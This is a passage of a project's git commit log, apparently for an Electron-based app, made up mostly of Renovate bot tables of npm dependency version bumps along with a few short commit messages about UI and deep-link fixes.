| [@vitejs/plugin-react-swc](https://redirect.github.com/vitejs/vite-plugin-react-swc) | [`3.7.0` -> `3.7.1`](https://renovatebot.com/diffs/npm/@vitejs%2fplugin-react-swc/3.7.0/3.7.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitejs%2fplugin-react-swc/3.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitejs%2fplugin-react-swc/3.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitejs%2fplugin-react-swc/3.7.0/3.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitejs%2fplugin-react-swc/3.7.0/3.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [ava](https://avajs.dev) ([source](https://redirect.github.com/avajs/ava)) | [`6.1.3` -> `6.2.0`](https://renovatebot.com/diffs/npm/ava/6.1.3/6.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/ava/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ava/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ava/6.1.3/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ava/6.1.3/6.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [builder-util-runtime](https://redirect.github.com/electron-userland/electron-builder) ([source](https://redirect.github.com/electron-userland/electron-builder/tree/HEAD/packages/builder-util-runtime)) | [`9.2.9` -> `9.2.10`](https://renovatebot.com/diffs/npm/builder-util-runtime/9.2.9/9.2.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/builder-util-runtime/9.2.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/builder-util-runtime/9.2.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/builder-util-runtime/9.2.9/9.2.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/builder-util-runtime/9.2.9/9.2.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [changelogithub](https://redirect.github.com/antfu/changelogithub) | [`0.13.10` -> `0.13.11`](https://renovatebot.com/diffs/npm/changelogithub/0.13.10/0.13.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/changelogithub/0.13.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/changelogithub/0.13.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/changelogithub/0.13.10/0.13.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/changelogithub/0.13.10/0.13.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [cmdk](https://redirect.github.com/pacocoursey/cmdk) ([source](https://redirect.github.com/pacocoursey/cmdk/tree/HEAD/cmdk)) | [`1.0.0` -> `1.0.4`](https://renovatebot.com/diffs/npm/cmdk/1.0.0/1.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/cmdk/1.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/cmdk/1.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/cmdk/1.0.0/1.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/cmdk/1.0.0/1.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [cookie-parser](https://redirect.github.com/expressjs/cookie-parser) | [`1.4.6` -> `1.4.7`](https://renovatebot.com/diffs/npm/cookie-parser/1.4.6/1.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/cookie-parser/1.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/cookie-parser/1.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/cookie-parser/1.4.6/1.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/cookie-parser/1.4.6/1.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [core-js](https://redirect.github.com/zloirock/core-js) ([source](https://redirect.github.com/zloirock/core-js/tree/HEAD/packages/core-js)) | [`3.38.1` -> `3.39.0`](https://renovatebot.com/diffs/npm/core-js/3.38.1/3.39.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/core-js/3.39.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/core-js/3.39.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/core-js/3.38.1/3.39.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/core-js/3.38.1/3.39.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`33.0.0` -> `33.1.0`](https://renovatebot.com/diffs/npm/electron/33.0.0/33.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/33.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/33.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.0.0/33.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.0.0/33.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron-updater](https://redirect.github.com/electron-userland/electron-builder) ([source](https://redirect.github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater)) | [`6.3.8` -> `6.3.9`](https://renovatebot.com/diffs/npm/electron-updater/6.3.8/6.3.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-updater/6.3.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-updater/6.3.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-updater/6.3.8/6.3.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-updater/6.3.8/6.3.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [embla-carousel-react](https://www.embla-carousel.com) ([source](https://redirect.github.com/davidjerleke/embla-carousel)) | [`8.3.0` -> `8.3.1`](https://renovatebot.com/diffs/npm/embla-carousel-react/8.3.0/8.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/embla-carousel-react/8.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/embla-carousel-react/8.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/embla-carousel-react/8.3.0/8.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/embla-carousel-react/8.3.0/8.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`19.5.0` -> `19.6.0`](https://renovatebot.com/diffs/npm/file-type/19.5.0/19.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.5.0/19.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [foxact](https://foxact.skk.moe) ([source](https://redirect.github.com/SukkaW/foxact)) | [`0.2.38` -> `0.2.41`](https://renovatebot.com/diffs/npm/foxact/0.2.38/0.2.41) | [![age](https://developer.mend.io/api/mc/badges/age/npm/foxact/0.2.41?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/foxact/0.2.41?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/foxact/0.2.38/0.2.41?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/foxact/0.2.38/0.2.41?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`15.7.4` -> `15.10.1`](https://renovatebot.com/diffs/npm/happy-dom/15.7.4/15.10.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/15.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/15.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/15.7.4/15.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/15.7.4/15.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.24.0` -> `8.24.2`](https://renovatebot.com/diffs/npm/html-validate/8.24.0/8.24.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/8.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/8.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.24.0/8.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.24.0/8.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-webpack-plugin](https://redirect.github.com/jantimon/html-webpack-plugin) | [`5.6.0` -> `5.6.3`](https://renovatebot.com/diffs/npm/html-webpack-plugin/5.6.0/5.6.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-webpack-plugin/5.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-webpack-plugin/5.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-webpack-plugin/5.6.0/5.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-webpack-plugin/5.6.0/5.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`23.15.1` -> `23.16.4`](https://renovatebot.com/diffs/npm/i18next/23.15.1/23.16.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/23.16.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/23.16.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/23.15.1/23.16.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/23.15.1/23.16.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [input-otp](https://input-otp.rodz.dev/) ([source](https://redirect.github.com/guilhermerodz/input-otp/tree/HEAD/packages/input-otp)) | [`1.2.4` -> `1.4.1`](https://renovatebot.com/diffs/npm/input-otp/1.2.4/1.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/input-otp/1.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/input-otp/1.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/input-otp/1.2.4/1.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/input-otp/1.2.4/1.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.10.0` -> `2.10.1`](https://renovatebot.com/diffs/npm/jotai/2.10.0/2.10.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.10.0/2.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.10.0/2.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jsx-slack](https://redirect.github.com/yhatt/jsx-slack) | [`6.1.1` -> `6.1.2`](https://renovatebot.com/diffs/npm/jsx-slack/6.1.1/6.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jsx-slack/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jsx-slack/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jsx-slack/6.1.1/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jsx-slack/6.1.1/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [keyv](https://redirect.github.com/jaredwray/keyv) | [`5.0.3` -> `5.1.3`](https://renovatebot.com/diffs/npm/keyv/5.0.3/5.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/keyv/5.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/keyv/5.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/keyv/5.0.3/5.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/keyv/5.0.3/5.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [lib0](https://redirect.github.com/dmonad/lib0) | [`0.2.97` -> `0.2.98`](https://renovatebot.com/diffs/npm/lib0/0.2.97/0.2.98) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lib0/0.2.98?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lib0/0.2.98?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lib0/0.2.97/0.2.98?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lib0/0.2.97/0.2.98?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [link-preview-js](https://redirect.github.com/ospfranco/link-preview-js) | [`3.0.5` -> `3.0.12`](https://renovatebot.com/diffs/npm/link-preview-js/3.0.5/3.0.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/link-preview-js/3.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/link-preview-js/3.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/link-preview-js/3.0.5/3.0.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/link-preview-js/3.0.5/3.0.12?slim=true)](https:/
2024-11-06 16:07:39 +00:00
JimmFly
59264b9996 feat(core): add tooltips to sidebar resize handle (#8717)
close PD-1865
![CleanShot 2024-11-06 at 12 52 35@2x](https://github.com/user-attachments/assets/b7353448-f8c5-4cfb-bfed-d1acff2923c4)
2024-11-06 06:19:38 +00:00
pengx17
584d095895 fix(core): modal height issue (#8710)
fix AF-1616
2024-11-06 02:59:12 +00:00
pengx17
fcd4f8c4ff fix(electron): deep link handling in macos (#8713)
fix AF-1617
The issue is that handling deep link on opening new instance will access the screen module from electron too soon. Move the open call behind whenReady to mitigate the issue.
2024-11-06 02:02:56 +00:00
renovate
ed06e6b72c chore: bump up all non-major dependencies (#8410)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@apollo/server](https://redirect.github.com/apollographql/apollo-server) ([source](https://redirect.github.com/apollographql/apollo-server/tree/HEAD/packages/server)) | [`4.11.0` -> `4.11.2`](https://renovatebot.com/diffs/npm/@apollo%2fserver/4.11.0/4.11.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@apollo%2fserver/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@apollo%2fserver/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@apollo%2fserver/4.11.0/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@apollo%2fserver/4.11.0/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@atlaskit/pragmatic-drag-and-drop](https://atlassian.design/components/pragmatic-drag-and-drop/) ([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop)) | [`1.3.1` -> `1.4.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop/1.3.1/1.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@atlaskit%2fpragmatic-drag-and-drop/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@atlaskit%2fpragmatic-drag-and-drop/1.3.1/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop/1.3.1/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.658.1` -> `3.685.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.658.1` -> `3.685.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@chromatic-com/storybook](https://redirect.github.com/chromaui/addon-visual-tests) | [`3.0.0` -> `3.2.2`](https://renovatebot.com/diffs/npm/@chromatic-com%2fstorybook/3.0.0/3.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@chromatic-com%2fstorybook/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@chromatic-com%2fstorybook/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@chromatic-com%2fstorybook/3.0.0/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@chromatic-com%2fstorybook/3.0.0/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.0.3` -> `9.2.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.0.3/9.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.0.3/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.0.3/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@fal-ai/serverless-client](https://redirect.github.com/fal-ai/fal-js) ([source](https://redirect.github.com/fal-ai/fal-js/tree/HEAD/libs/client)) | [`^0.14.0` -> `^0.15.0`](https://renovatebot.com/diffs/npm/@fal-ai%2fserverless-client/0.14.3/0.15.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@fal-ai%2fserverless-client/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@fal-ai%2fserverless-client/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@fal-ai%2fserverless-client/0.14.3/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@fal-ai%2fserverless-client/0.14.3/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@floating-ui/dom](https://floating-ui.com) ([source](https://redirect.github.com/floating-ui/floating-ui/tree/HEAD/packages/dom)) | [`1.6.11` -> `1.6.12`](https://renovatebot.com/diffs/npm/@floating-ui%2fdom/1.6.11/1.6.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@floating-ui%2fdom/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@floating-ui%2fdom/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@floating-ui%2fdom/1.6.11/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@floating-ui%2fdom/1.6.11/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@google-cloud/opentelemetry-cloud-monitoring-exporter](https://redirect.github.com/GoogleCloudPlatform/opentelemetry-operations-js) | [`^0.19.0` -> `^0.20.0`](https://renovatebot.com/diffs/npm/@google-cloud%2fopentelemetry-cloud-monitoring-exporter/0.19.0/0.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@google-cloud%2fopentelemetry-cloud-monitoring-exporter/0.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@google-cloud%2fopentelemetry-cloud-monitoring-exporter/0.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@google-cloud%2fopentelemetry-cloud-monitoring-exporter/0.19.0/0.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@google-cloud%2fopentelemetry-cloud-monitoring-exporter/0.19.0/0.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.2` -> `5.0.3`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.2/5.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.2/5.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.2/5.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@graphql-codegen/typescript](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/plugins/typescript/typescript)) | [`4.0.9` -> `4.1.1`](https://renovatebot.com/diffs/npm/@graphql-codegen%2ftypescript/4.0.9/4.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2ftypescript/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2ftypescript/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2ftypescript/4.0.9/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2ftypescript/4.0.9/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@graphql-codegen/typescript-operations](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/plugins/typescript/operations)) | [`4.2.3` -> `4.3.1`](https://renovatebot.com/diffs/npm/@graphql-codegen%2ftypescript-operations/4.2.3/4.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2ftypescript-operations/4.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2ftypescript-operations/4.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2ftypescript-operations/4.2.3/4.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2ftypescript-operations/4.2.3/4.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
